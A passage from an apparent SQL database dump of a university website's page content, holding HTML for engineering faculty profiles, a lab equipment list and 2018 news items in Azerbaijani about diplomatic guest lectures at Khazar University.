#000000;width:600px;height:410px;vertical-align:baseline\"><br></p>'),(3133,1853,'en','History','History',''),(3134,1854,'en','Publications','Publications',''),(3135,1848,'az','Professor-müəllim heyəti','Professor-müəllim heyəti','<p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mirsadegh%20Seyedzavvar%20%282%29.pdf\"><img src=\"/files/engineering/images/mirsadegh_s.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:170px\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/cv/mirsadegh_seyedzavvar_cv.pdf\">Mirsadegh Seyedzavvar</a></strong></p><p>İstehsal və emal üzrə fəlsəfə&nbsp;doktoru (University of Tabriz, Iran)</p><p>Mexanika mühəndisliyi üzrə magistr (University of Tabriz, Iran)<strong></strong><br></p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:mseyedzavvar@khazar.org\">mseyedzavvar[at]khazar.org</a><a title=\"mseyedzavvar@khazar.org\" target=\"_self\" tabindex=\"0\" label=\"Email mseyedzavvar@khazar.org\"></a><br></p><p><br></p><hr><p><img src=\"/files/engineering/images/Hassan_Niknafs2.jpg\" style=\"width:150px;height:202px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Hassan%20Niknafs.pdf\">Hassan Niknafs</a></strong> <strong>- Professor</strong></p><p>Hesablama hidrodinamikasi üzrə&nbsp;fəls\'əfə&nbsp;doktoru (The University of Akron, Ohio, USA)</p><p>Mexanika mühəndisliyi üzrə magistr  (University of Tabriz, Iran)  <br></p><p>Kimya Mühəndisliyi üzrə bakalavr, magistr&nbsp;(Shiraz University, former Pahlavi University, Shiraz, Iran)  <br></p>  <p>İxtisaslaşma sahəsi: İstilik və Kütlə Mübadiləsi, Maye Dinamikası <br></p><p style=\"padding-left:160px\"><strong>E-mail</strong>:&nbsp;<a href=\"mailto:rmoradi@khazar.org\"></a><a href=\"mailto:hniknafs@khazar.org\">hniknafs[at]khazar.org</a></p><hr><p><a href=\"http://www.khazar.org/files/engineering/Mehdi_K_CV-new.pdf\"><img src=\"/files/engineering/images/mehdi_kiyasatfar.jpg\" style=\"float:left;width:150px;height:128px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong>Mehdi Kiyasatfar</strong></a></p><p>Mexanika Mühəndisliyi üzrə fəlsəfə doktoru&nbsp;(Urmiya Universiteti, İran)</p><p>Mexanika Mühəndisliyi üzrə magistr&nbsp;(Urmiya Universiteti, İran)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:mkiyasatfar@khazar.org\">mkiyasatfar[at]khazar.org</a></p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Zahid%20Nabiyev.pdf\"><img src=\"/files/engineering/images/zahid_n.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Zahid Nəbiyev</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Zahid%20Nabiyev.pdf\"></a></strong>MS in Design of Rotating Machines (Cranfield University, UK)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:zahidnabiyev@gmail.com\">zahidnabiyev[at]gmail.com</a>  </p><p><br></p><p><br></p><p><br></p>  <hr><img src=\"/files/math_depart/ali_h.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:164px\"><p><a href=\"http://www.khazar.org/files/pdf/Ali%20Huseynli%20cv.pdf\"><strong>Əli Hüseynli</strong></a><strong></strong></p><p>Riyaziyyat üzrə&nbsp;fəlsəfə doktoru&nbsp;(Azərbaycan Milli Elmər Akademiyası, Riyaziyyat və Mexanika İnstitutu)&nbsp;</p><p>Magistratura (Bakı Dövlət Universiteti,&nbsp;Azərbaycan)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:ahuseynli[at]khazar.org\">ahuseynli[at]khazar.org</a>; <a href=\"mailto:alihuseynli[at]gmail.com\">alihuseynli[at]gmail.com</a></p><p><br></p>  <hr><p><strong><a href=\"http://www.khazar.org/files/engineering/CV%20-Rasoul%20Moradi.pdf\"><img src=\"/files/engineering/images/Rasul_Muradi.jpg\" style=\"width:150px;height:174px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/CV%20Rasoul%20Moradi.pdf\">Rasoul Moradi</a></strong></p>\r\n<p>Kimya mühəndisliyi üzrə fəlsəfə doktoru&nbsp;(University of Tehran, Iran)\r\n  <br></p><p>Kimya mühəndisliyi üzrə  magistr (Sharif University of Technology, Iran)  <br></p><p><strong>E-mail</strong><strong>:&nbsp;</strong><a href=\"mailto:rmoradi@khazar.org\">rmoradi[at]khazar.org</a>  </p><p><br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/cv-farid%20aliyev-english..pdf\"><img src=\"/files/engineering/images/Farid-Aliyev.jpg\" style=\"float:left;width:150px;height:164px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/cv-farid%20aliyev-english..pdf\">Fərid Əliyev</a></strong></p><p>Boru mühəndisliyi və dizayn&nbsp;üzrə magistr&nbsp;(University of San Jorge,&nbsp;Spain)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:faridaliyev87@gmail.com\">faridaliyev87[at]gmail.com</a>  </p><p><br></p><p><br></p>  <hr><p><img src=\"/files/radio_depart/Sabuhi_Ganiyev.jpg\" style=\"width:150px;height:197px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/radio_depart/CV-Sabuhi_Ganiyev.pdf\">Səbuhi Qəniyev</a></strong></p><p>Elektronika mühəndisliyi üzrə magistr&nbsp;(Beynəlxalq&nbsp;İslam Universiteti,&nbsp;Kuala Lumpur, Malayziya)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:s.ganiyev@gmail.com/\"></a><a href=\"mailto:sqaniyev@khazar.org\">sqaniyev[at]khazar.org</a><br></p><p><br></p><p><br></p><p><br></p>'),(3136,1849,'az','Fənlər','Fənlər',''),(3137,1850,'az','Dərəcə proqramlar','Dərəcə proqramlar',''),(3138,1851,'az','Elmi-tədqiqat','Elmi-tədqiqat',''),(3139,1852,'az','Təchizat','Təchizat','<h4>ZNC Electro Discharge Machine</h4><img src=\"http://www.khazar.org/files/letters/eq1.jpg\" style=\"border:0px #000000;width:300px;height:428px;vertical-align:baseline;margin:7px\"><br><br><h4>SVM – 1 VMC Milling Machine&nbsp;</h4><img src=\"http://www.khazar.org/files/letters/eq2.jpg\" style=\"border:0px #000000;width:600px;height:287px;margin:7px;vertical-align:baseline\"><br><br><br><h4>ASTM G99 Pin-on-Disk Tribotester&nbsp;</h4><img src=\"http://www.khazar.org/files/letters/eq3.jpg\" style=\"border:0px #000000;width:600px;height:410px;vertical-align:baseline\">'),(3140,1853,'az','Tarixi','Tarixi',''),(3141,1854,'az','Nəşrlər','Nəşrlər',''),(3142,1153,'az','Xəbərlər','Xəbərlər','<p style=\"text-align:justify\"><strong>Siyasi Elm və Beynəlxalq Münasibətlər Departamenti</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Xəzər Universiteti “Ölülər günü” bayramını qeyd etdi  <br></strong></p><p style=\"text-align:justify\"><strong>1 noyabr 2018</strong></p><p style=\"text-align:justify\">1 noyabr 2018-ci il tarixdə&nbsp;Meksikanın ən əhəmiyyətli bayramlarından biri olan “Ölülər günü” bayramı Xəzər Universitetində qeyd olundu. “Ölülər günü” vəfat etmiş dost və ailələri anmaq üçün təşkil olunan Meksikanın milli bayramlarından biridir. Bayramla əlaqədar olaraq, Meksikanın Azərbaycandakı səfirliyi Xəzər Universiteti ilə birgə bayram elementi kimi parlaq rəngli ənənəvi folklor kostyumları, skelet başları, kalaka (qadın paltarı geyinən skelet), bayram oyuncaqlarının nümayiş olunduğu stend hazırlamışdı.</p><p style=\"text-align:justify\">Tədbirin birinci hissəsində Xəzər Universitetinin təsisçisi və Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Meksikanın Azərbaycandakı səfiri cənab Rodrigo Labardini ilə görüşdü və Xəzər Universitetinin əməkdaşları və tələbələri adından bu bayram münasibətilə səfiri və Meksika xalqını təbrik etdi, sağlamlıq, sülh və firavanlıq arzuladı.</p><p style=\"text-align:justify\">Görüşdən sonra stend qarşısında çıxışına başlayan cənab Rodrigo Labardini qeyd etdi ki, bu bayram “Ölülərin xanımı” kimi tanınan Mictecacihuatl ilahəsinə tez-tez festivallar keçirən azteklərin yerli mədəniyyətinə aiddir. Daha sonra “Ölülər günü” ilə bağlı animasiyalı film Xəzər Universitetinin tələbələri üçün nümayiş etdirildi və filmdən sonra səfir filmin səhnələrini tələbələrlə müzakirə etdi, eyni zamanda, auditoriyanın suallarını cavablandırdı.</p>  <p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/3592\">bura klikləyin.</a></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Xəzər Universitetində Fransada təhsillə bağlı təqdimat keçirildi</strong></p><p style=\"text-align:justify\"><strong>26 oktyabr 2018</strong></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">26 oktyabr 2018-ci il tarixdə Siyasi Elm və Beynəlxalq Münasibətlər departamenti Xəzər Universitetinin Humanitar və Sosial Elmlər fakültəsinin tələbələri üçün Fransada təhsil imkanları ilə bağlı seminar təşkil etmişdir. Seminar Kampus Fransa Agentliyinin Azərbaycandakı nümayəndəsi Raab Maureen tərəfindən həyata keçirilmişdir. Seminarda tələbələrə Fransada təhsil sistemi, Fransada təhsil imkanları, yaşayış yerləri, yaşayış xərcləri, tibbi sığorta, magistratura və bakalavr dərəcəsi üzrə təqaüd proqramları barədə məlumat verildi. Bundan əlavə, xanım Maureen online və distant təhsil proqramları, eyni zamanda, Fransada təcrübə imkanları haqqında məlumat verdi.</span></p><p style=\"text-align:justify\">Sonda xanım Maureen auditoriyanı maraqlandıralan sualları cavablandırdı.</p><p style=\"text-align:justify\">Şəkillər üçün&nbsp;<a href=\"http://www.khazar.org/az/news/article/3572\">bura klikləyin.</a>&nbsp;  <br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>Qonaq mühazirəçi: Dr. Wolf Linder Xəzər Universitetində mühazirə ilə çıxış etdi</strong></p><p style=\"text-align:justify\"><strong></strong><strong>25 oktyabr 2018</strong></p><p style=\"text-align:justify\">25 oktyabr 2018-ci il tarixdə siyasi ekspert,&nbsp;hüquq məsləhətçisi, İsveçrə Elmi Şurasının üzvü Dr. Wolf Linder Xəzər Universitetində mühazirə ilə çıxış etdi. Dr. Wolf Linderin “Demokratiyanın müxtəlif istiqamətləri:&nbsp;İsveçrə demokratiyas&nbsp;niyə və necə&nbsp; fərqlənir?” adlı mühazirəsi İsveçrənin Azərbaycandakı səfirliyinin dəstəyi ilə&nbsp;Siyasi Elm və Beynəlxalq Münasibətlər departamenti tərəfindən təşkil edilmişdir. Mühazirədə İsveçrə Konfederasiyası, birbaşa demokratiyanın tarixi inkişafı, İsveçrə demokratiya modelinin xüsusiyyətləri və məhdudiyyətləri, İsveçrənin siyasi sistemi müzakirə edildi. Bundan əlavə, tələbələrə Aİ-İsveçrə münasibətləri,&nbsp;ikitərəfli müqavilələr&nbsp;və&nbsp;&nbsp;Aİ vahid bazarında iştirak üçün İsveçrənin Aİ qanunlarını qəbul etməsi barədə&nbsp;məlumat verildi.</p><p style=\"text-align:justify\">Dr. Wolf Linderin seminarı sual-cavab sessiyası ilə yekunlaşdı.</p><p style=\"text-align:justify\">Şəkillər üçün&nbsp;<a href=\"http://www.khazar.org/az/news/article/3570\">bura klikləyin.</a>  <br></p>  <p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>Dr. Stefano Bragirolinin Xəzər Universitetində 3 günlük mühazirəsi</strong></p><p style=\"text-align:justify\"><strong></strong><strong style=\"text-align:left\">16-18\r\noktyabr 2018</strong></p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%;background:white\"\"=\"\">Siyasi Elm və Beynəlxalq Departamenti\r\nDESCnet layihəsi çərçivəsində tələbələr üçün Tartu Universitetinin Johan Skytte\r\nSiyasi Araşdırmalar İnstitutunun Avropa Tədqiqatları üzrə Professoru Dr.\r\nStefano Bragiroli ilə 3 günlük sessiya təşkil etmişdir. Dr. Stefano Bragiroli Xəzər\r\nUniversitetinin tələbələri üçün üç fərqli mühazirə təqdim etdi.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%;background:white\"\"=\"\">16 oktyabr 2018-ci tarixdə,\r\nsessiyanın ilk günündə Dr. Stefano Bragiroli, \"Aİ-nin Ümumi Xarici və Təhlükəsizlik\r\nSiyasəti və Aİ-NATO münasibəti\" mövzusunda mühazirə ilə çıxış etdi.\r\nTələbələr xarici siyasət, Avropa İttifaqının təhlükəsizlik diplomatiyası, Aİ Ümumi\r\nXarici və Təhlükəsizlik Siyasətinin tarixi inkişafı, Aİ-NATO əlaqələri,\r\nAvropanın ərazi bütövlüyündə NATO-nun rolu barədə məlumatlandırıldı.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%;background:white\"\"=\"\">17 oktyabr 2018-ci il tarixdə qonaq\r\nspikerin \"Aİ-Rusiya münasibətləri\" adlı seminarı Rusiya və Aİ-nin\r\nsiyasi gücü, iki siyasi gücün qarşılıqlı siyasi təsiri və maliyyə əlaqəsini, gələcək\r\nRusiya-Avropa İttifaqı münasibətlərini təhlil etdi. &nbsp;Bundan əlavə, Aİ-nin bir neçə üzv dövlətləri\r\nilə Rusiyanın münasibətləri və bu ikitərəfli münasibətlərin Avropa\r\nİttifaqı-Rusiya əlaqələrinə təsiri müzakirə edildi.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%;background:white\"\"=\"\">Mühazirədən sonra cənab Braghirolinin Xəzər Universitetinin rektoru\r\nHassan Niknafsla görüşü baş tutdu. Görüşdə Xəzər Universitetinin tarixi,\r\nixtisaslar, tədqiqat imkanları və universitetinin beynəlxalq əlaqələri haqqında\r\nməlumat verildi. Bundan əlavə, tələbə və kadr mübadiləsi üzrə qarşılıqlı əməkdaşlıq\r\nimkanları, Xəzər Universiteti ilə Tartu Universiteti arasında ikitərəfli\r\nproqramların hazırlanması və birgə tədqiqatların aparılması müzakirə olundu. Eyni\r\nzamanda, İnkişaf mərkəzinin rəhbəri Raziyə İsayeva və Siyasi Elm və Beynəlxalq\r\nMünasibətlər Departamentinin koordinatoru Elmar Mustafayev görüşdə iştirak\r\netdilər.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%;background:white\"\"=\"\">18 oktyabr 2018-ci il tarixdə\r\nsessiyanın son günündə Avropa Qonşuluq Siyasəti və Şərq Tərəfdaşlığı müzakirə\r\nolundu. Tələbələr Avropa Qonşuluq Siyasətinin inkişafı, Avropa Qonşuluq\r\nSiyasəti ölkələri ilə Avropa İttifaqı arasında təhlükəsizlik və miqrasiya, mobillik,\r\nviza rejiminin sadələşdirilməsi məsələləri üzrə əlaqələr müzakirə olundu.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%;background:white\"\"=\"\">Bütün mühazirələrin sonunda cənab Dr.\r\nStefano Bragiroli auditoriyanın suallarını cavablandırdı.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:150%\"\"=\"\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/3533\">bura klikləyin.</a></p><p style=\"text-align:justify\"><strong><br></strong></p><p><strong>Avropa İttifaqının Azərbaycandakı Nümayəndəliyinin Birinci müşaviri mühazirə ilə çıxış etdi</strong></p> <p style=\"text-align:justify\"><strong>4 oktyabr 2018</strong></p><p style=\"box-sizing:border-box;margin:0px 0px 10px;text-align:justify\">4 oktyabr 2018-ci il tarixdə&nbsp; Avropa İttifaqının Azərbaycandakı nümayəndəliyinin Birinci müşaviri cənab Danis Daniilidis Xəzər Universitetinin tələbələri üçün seminar keçirdi. Görüşdə, həmçinin, Bolqarıstanın Azərbaycandakı səfiri cənab Nikolay Yankov fəxri qonaq kimi iştirak edirdi. Siyasi Elm və Beynəlxalq Münasibətlər departamentinin tərəfdaşı olduğu DESCnet layihəsi çərçivəsində təşkil etdiyi mühazirədə cənab müşavir “Avropa İttifaqı xarici siyasətinin aktorları” adlı məruzə ilə çıxış etdi. Görüş ərzində tələbələrə Aİ xarici siyasətinin müxtəlif istiqamətləri, Aİ qurumlarının rolu, təşkilatın xarici siyasət prioritetləri haqqında məlumat verildi. Eyni zamanda, “Brexit”, terrorizm, miqrasiya kimi cari məsələlər müzakirə edildi.</p><p style=\"box-sizing:border-box;margin:0px 0px 10px;text-align:justify\">Mühazirə sual-cavab sessiyası ilə başa çatdı.</p><p style=\"text-align:justify\">Seminardan sonra cənab Daniilidis Xəzər Universitetinin rektoru Dr. Hasan Niknafs ilə görüşdü. Görüşdə Xəzər Universitetinin tarixi, ixtisaslar, tədqiqat imkanları və universitetin beynəlxalq əlaqələri haqqında məlumat verildi. Eyni zamanda, simulyasiya, seminar və yay məktəbləri kimi tədbirlərin keçirilməsində qarşılıqlı əməkdaşlıq barədə müzakirə aparıldı.</p><p><span style=\"text-align:justify\">Şəkillər üçün&nbsp;<a href=\"http://www.khazar.org/az/news/article/3476\">bura klikləyin.</a></span></p><p style=\"text-align:justify\"><strong><br></strong></p><p><strong>Xəzər Universitetinin əməkdaşları Oslo Metropolitan Universitetinə səfər etdilər</strong></p> <p><strong>3-7 sentyabr 2018</strong></p><p style=\"text-align:justify\">3-7 sentyabr 2018-ci il tarixdə&nbsp;Xəzər Universitetinin əməkdaşları –&nbsp;İqtisadiyyat və Menecment fakültəsinin dekanı Dr. Ceyhun Məmmədov, Siyasi Elm və Beynəlxalq Münasibətlər departamentinin koordinatoru Elmar Mustafayev, Psixologiya departamentinin müəllimi Nilufər Əlizadə Oslo Metropolitan Universitetində baş tutan “Cənubi Qafqaz və Norveçdə akademik və iş mühitində mədəniyyətlərarası qarşılaşmalar” adlı layihənin ilkin görüşündə iştirak etdilər. Görüşdə, həmçinin, Oslo Metropolitan Universiteti və Tbilisi Dövlət Universitetinin nümayəndələri də iştirak edirdilər.</p><p style=\"text-align:justify\">3 illik layihə mədəniyyətlərarası kommunikasiya ilə əlaqədar magistr kurslarının hazırlanmasını, Oslo və Tbilisidə yay məktəblərinin təşkil olunmasını, birgə araşdırma işlərinin aparılmasını nəzərdə tutur. Görüş ərzində iştirakçılar fənlərin hazırlanması ilə bağlı təcrübələrini bölüşdülər və miqrasiya, nifrət nitqi və radikallaşma mövzularının ixtisas fənləri kimi tədrisinin nəzəriyyəsi və metodikasını müzakirə etdilər.</p>  <p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/3411\">bura klikləyin.</a></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Meksika səfiri Xəzər Universitetində mühazirə ilə çıxış etdi</strong></p><p><strong>23 may 2018</strong></p><p style=\"text-align:justify\">23 may 2018-ci il tarixdə&nbsp;Meksikanın Azərbaycandakı səfiri cənab Rodrigo Labardini müqayisəli siyasət dərsində qonaq mühazirəçi kimi çıxış etdi.</p><p style=\"text-align:justify\">Cənab Labardini hakimiyyətin paylaşılması, hər bir hakimiyyət qolunun məsuliyyəti və 3 struktur (qanunverici, icraedici, məhkəmə) arasında mövcud olan qarşılıqlı “nəzarət və balans” mexanizmi haqqında danışdı. Eyni zamanda, cənab səfir tələbələrlə birlikdə müxtəlif idarəçilik modellərini və ölkələrin fərqli idarəçilik sistemlərinin müqayisəli təhlilini apardı.</p><p style=\"text-align:justify\">Mühazirə sual-cavab sessiyası ilə başa çatdı.</p><p style=\"text-align:justify\">Şəkillər üçün&nbsp;<a href=\"http://www.khazar.org/az/news/article/3253\">bura klikləyin.</a></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Belçika səfiri Xəzər Universitetində mühazirə ilə çıxış etdi  <br></strong></p><p style=\"text-align:justify\"><strong>8 may 2018</strong></p><p style=\"text-align:justify\"><strong></strong>8 may 2018-ci il tarixdə&nbsp;Avropa Günü ilə əlaqədar Belçikanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Bert Schoofs Xəzər Universitetinin tələbələri üçün “Belçikanın federativ idarəetmə sistemi və Avropa İttifaqında rolu” adlı xüsusi mühazirə oxudu. Mühazirəni Siyasi Elm və Beynəlxalq Münasibətlər departamenti tərəfdaşı olduğu DESCnet layihəsi çərçivəsində təşkil etmişdir. Görüşdə tələbələrə Belçikanın tarixi, mədəniyyəti, xarici siyasətinin prioritetləri, iqtisadiyyat və təhsil sistemi, həmçinin, ölkənin Avropa İttifaqı, NATO, ATƏT, BMT kimi beynəlxalq və regional təşkilatlarda rolu haqqında məlumat verildi.</p><p style=\"text-align:justify\">Siyasi Elm və Beynəlxalq Münasibətlər departamentinin koordinatoru Elmar Mustafayevin moderatorluğu ilə keçirilən müzakirə sual-cavab sessiyası ilə başa çatdı.</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/3181\">bura klikləyin.</a></p><p style=\"text-align:justify\"><strong><br></strong></p><p><strong>Meksikanın Azərbaycandakı səfiri tələbələrə mühazirə keçdi</strong></p><p><strong style=\"text-align:justify\"><strong>2 may 2018</strong></strong></p><p style=\"text-align:justify\"><span style=\"text-align:justify\">2 may 2018-ci il tarixdə Meksikanın Azərbaycandakı səfiri Cənab Rodrigo Labardini Xəzər Universitetinin tələbələri üçün mühazirə keçdi.&nbsp; Cənab Səfir Labardini tərəfindən keçirilən \"Meksikanın Xarici Siyasət Prioritetləri və Azərbaycanla Qarşılıqlı Münasibətləri\" adlı xüsusi məruzə Siyasi Elm və Beynəlxalq Münasibətlər Departamenti tərəfindən təşkil edilmişdir. Səfir mühazirəsində Meksika dövlətinin siyasi, iqtisadi, mədəni kontekstindən, ölkənin Azərbaycanla iqtisadi və ticarət əlaqələrinin dinamikasından danışdı.  <br></span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\">Mühazirənin sonunda cənab Labardini auditoriyanı maraqlandıran sualları cavablandırdı.  <br></span></p><p><span style=\"font-weight:bold;text-align:justify\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media6619833233464547\" width=\"150\" height=\"100\"><span style=\"font-weight:normal\">Mühazirə Siyasi Elm və Beynəlxalq Münasibətlər Departamentinin koordinatoru Elmar Mustafayevin moderatorluğu ilə baş tutmuşdur.  </span><br></span></p><p><span style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/3166\">bura klikləyin.</a></span></p><p><br></p><p><strong></strong><strong style=\"text-align:justify\"><strong>Belçika səfiri Xəzər\r\nUniversitetinin qonağı oldu</strong></strong></p><p style=\"text-align:justify\"><strong><strong></strong>19 aprel 2018</strong></p><p style=\"text-align:justify\"><strong style=\"text-align:justify\"></strong><span style=\"text-align:justify\">19\r\naprel 2018-ci il tarixdə Belçika Krallığının Fövqəladə və Səlahiyyətli səfiri cənab\r\nH.E. Bert Schoofs Siyasi Elm və Beynəlxalq Münasibətlər D</span><span style=\"text-align:justify\">epartamentinin dəvəti\r\nilə Xəzər universitetinin qonağı</span><span style=\"text-align:justify\"> oldu. Cənab səfir assistenti Sevil Qəhrəmanovanın\r\nmüşayiəti ilə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı, Xəzər Universitetinin rektoru Dr.\r\nHassan Niknafs və Siyasi Elm və Beynəlxalq Münasibətlər D</span><span style=\"text-align:justify\">epartamentinin\r\nkoordinatoru Elmar Mustafayev ilə görüşdü.</span></p><p style=\"text-align:justify\">Görüşdə\r\nXəzər Universitetinin tarixi, ixtisaslar, tədqiqat imkanları və universitetinin beynəlxalq əlaqələri\r\nhaqqında məlumat verildi. Eyni zamanda, tələbə və kadr mübadiləsi üzrə\r\nqarşılıqlı əməkdaşlıq imkanları, Xəzər Universiteti ilə Belçika ali təhsil müəssisələri\r\narasında ikitərəfli proqramların hazırlanması və birgə tədqiqatların aparılması\r\nmüzakirə olundu.</p><p style=\"text-align:justify\">Öz\r\nnövbəsində, cənab Schoofs Belçika ali təhsil müəssisələri ilə Xəzər\r\nUniversiteti arasındakı münasibətlərin qurulmasında məmnuniyyətlə iştirak etməyə\r\nhazır olduğunu bildirdi. Səfir Siyasi Elm və Beynəlxalq Münasibətlər Departamentinin tələbələri üçün xüsusi seminar təqdim etmək üçün edilən dəvəti\r\nmüsbət qiymətləndirdi.</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/3119\">bura klikləyin.</a></p><p><br></p><h2 style=\"box-sizing:border-box;font-family:\'Source Sans Pro\', sans-serif;line-height:1.1;color:#252525;margin-top:20px;margin-bottom:10px;font-size:24px;background-color:#ffffff\"> </h2><p><strong>İtalyan Mədəniyyət Mərkəzinin və Romanın Sapienza Universitetinin nümayəndələri ilə görüş keçirildi</strong></p><p><strong>9 aprel 2018</strong></p> <p style=\"box-sizing:border-box;margin:0px 0px 10px;color:#252525;background-color:#ffffff;text-align:justify\">9 aprel 2018-ci il tarixdə Bakıdakı İtalyan Mədəniyyət Mərkəzi və Romanın Sapienza Universitetinin nümayəndələri Xəzər Universitetinin “Neftçilər” kampusunu ziyarət etdilər.</p><p style=\"text-align:justify\">Bakıdakı İtaliyan Mədəniyyət Mərkəzinin dəstəyi ilə təşkil olunan görüş Sapienza Universiteti ilə Xəzər Universiteti arasında əməkdaşlığın gücləndirilməsinə yönəlmişdir. Xəzər Universitetinin görüşdəki nümayəndiliyi universitetin rektoru Dr. Hassan Niknafs, Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev və Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərovadan ibarət idilər. Qonaqları Sapienza Universitetinin AB proqramları bölümünün rəhbəri Mattea Capelli, həmin universitetin Beynəlxalq ofisinin əməkdaşı Olesya Kifa, İtaliyan Mədəniyyət Mərkəzinin baş direktoru Çingiz Əsgərov və həmin mərkəzin həmtəsisçisi Fərid Abbasov təmsil edirdilər. Görüş iştirakçıları gələcək əməkdaşlıq üçün tələbə və işçilərin mübadiləsi, birgə dərəcə proqramlarının yaradılması kimi ümumi maraq mövzularını müzakirə etdilər.</p><p style=\"text-align:justify\">Erasmus+ proqramı çərçivəsində Xəzər Universiteti Sapienza Universiteti ilə əməkdaşlığa başlamışdır. Xəzər Universitetinin bir tələbəsi bu proqram daxilində mübadilə imkanından yararlanmışdır.</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/3094\">bura klikləyin.</a></p>  <p style=\"box-sizing:border-box;margin:0px 0px 10px;color:#252525;background-color:#ffffff\"><br></p><p><strong>Azərbaycan Xalq Cumhuriyyətinin 100 illik yubileyinə həsr olunmuş “Mühacirlərin dönüşü” adlı açıq mühazirə</strong></p><p><strong>16 mart 2018</strong></p><p style=\"text-align:justify\">2018-ci il martın 16-da Xəzər Universitetində Azərbaycan Xalq Cümhuriyyətinin 100 illik yubileyinə həsr olunmuş “Mühacirlərin dönüşü” adlı açıq mühazirə keçirildi. Siyasi elm və beynəlxalq münasibətlər departamentinin təşkilatçılığı ilə baş tutan tədbirin qonaq mühazirəçisi 2012-ci ildən Azərbaycan Xalq Cümhuriyyəti və mühacirət tarixi ilə bağlı araşdırma aparan jurnalist-yazar, kolleksiyaçı Dilqəm Əhməd idi. Tədbirdə, həmçinin, Dilqəm Əhmədin kolleksiyasına aid cümhuriyyət dövrünün nadir foto və sənədləri də sərgilənmiş və “Mühacirlərin dönüşü” və “Fərqlilər” kitablarının təqdimatı və imza günü keçirildi.</p><p>Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/3047\">bura klikləyin.</a></p>  <p style=\"text-align:justify\"><strong><br></strong></p> <p style=\"text-align:justify\"><strong>İsrail Səfiri Xəzər Universitetinin qonağı oldu</strong></p><p style=\"text-align:justify\"><strong>27 fevral 2018</strong></p><p style=\"text-align:justify\"><strong></strong><span style=\"background-color:#ffffff;color:#252525\">27 fevral 2018-ci il tarixdə&nbsp;Xəzər Universiteti Siyasi elm və Beynəlxalq Münasibətlər departamentinin dəvəti əsnasında İsrailin Azərbaycandakı Fövqəladə və Səlahiyyətli səf</span><span style=\"background-color:#ffffff;color:#252525\">iri cənab Dan Stav universitetin qonağı oldu.</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#252525\"></span>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı İsrail səfiri cənab Dan Stav ilə görüşdü. Görüşdə, həmçinin, Xəzər Universitetinin Elmi işlər üzrə prorektoru dosent İradə Xəlilova, Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev, Avropa İttifaqı Araşdırmalar Mərləzinin rəhbəri Baba Bayramlı və İsrail səfirliyinin Mətbuat 